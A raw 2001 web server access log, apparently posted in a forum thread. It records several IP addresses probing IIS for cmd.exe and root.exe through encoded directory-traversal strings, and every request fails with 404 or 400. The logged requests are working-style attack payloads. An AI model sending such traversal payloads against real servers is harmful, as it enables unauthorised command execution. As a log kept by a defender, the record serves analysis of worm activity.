[18/Sep/2001:10:14:11 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.204.30.77 - - [18/Sep/2001:10:14:11 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.204.30.77 - - [18/Sep/2001:10:14:12 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.204.30.77 - - [18/Sep/2001:10:14:16 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.204.30.77 - - [18/Sep/2001:10:14:16 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.204.30.77 - - [18/Sep/2001:10:14:16 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.204.30.77 - - [18/Sep/2001:10:14:16 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.204.30.77 - - [18/Sep/2001:10:14:20 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.204.30.77 - - [18/Sep/2001:10:14:20 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.204.30.77 - - [18/Sep/2001:10:14:20 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.187.42.81 - - [18/Sep/2001:10:14:56 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.187.42.81 - - [18/Sep/2001:10:14:56 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.187.42.81 - - [18/Sep/2001:10:14:57 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.187.42.81 - - [18/Sep/2001:10:14:57 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.187.42.81 - - [18/Sep/2001:10:14:57 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.187.42.81 - - [18/Sep/2001:10:14:58 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.187.42.81 - - [18/Sep/2001:10:14:58 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.187.42.81 - - [18/Sep/2001:10:14:58 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.187.42.81 - - [18/Sep/2001:10:14:59 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.187.42.81 - - [18/Sep/2001:10:14:59 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.187.42.81 - - [18/Sep/2001:10:15:00 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.187.42.81 - - [18/Sep/2001:10:15:00 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.187.42.81 - - [18/Sep/2001:10:15:00 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.187.42.81 - - [18/Sep/2001:10:15:01 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.187.42.81 - - [18/Sep/2001:10:15:01 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.187.42.81 - - [18/Sep/2001:10:15:01 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.222.99 - - [18/Sep/2001:10:18:00 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.222.99 - - [18/Sep/2001:10:18:01 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.222.99 - - [18/Sep/2001:10:18:01 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.222.99 - - [18/Sep/2001:10:18:04 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.222.99 - - [18/Sep/2001:10:18:04 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.222.99 - - [18/Sep/2001:10:18:05 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.222.99 - - [18/Sep/2001:10:18:05 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.222.99 - - [18/Sep/2001:10:18:05 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.222.99 - - [18/Sep/2001:10:18:06 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.222.99 - - [18/Sep/2001:10:18:07 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.222.99 - - [18/Sep/2001:10:18:09 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.222.99 - - [18/Sep/2001:10:18:21 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.222.99 - - [18/Sep/2001:10:18:21 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.222.99 - - [18/Sep/2001:10:18:21 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.222.99 - - [18/Sep/2001:10:18:23 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.222.99 - - [18/Sep/2001:10:18:24 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.138.147 - - [18/Sep/2001:10:21:32 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.138.147 - - [18/Sep/2001:10:21:35 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.138.147 - - [18/Sep/2001:10:21:43 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.138.147 - - [18/Sep/2001:10:21:46 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.138.147 - - [18/Sep/2001:10:21:51 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.21.203 - - [18/Sep/2001:10:25:28 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 343 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310 206.191.21.203 - - [18/Sep/2001:10:25:29 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
Thread Navigation
This is a paginated view of messages in the thread with full content displayed inline.
Messages are displayed in chronological order, with the original post highlighted in green.
Use pagination controls to navigate through all messages in large threads.
Back to All Threads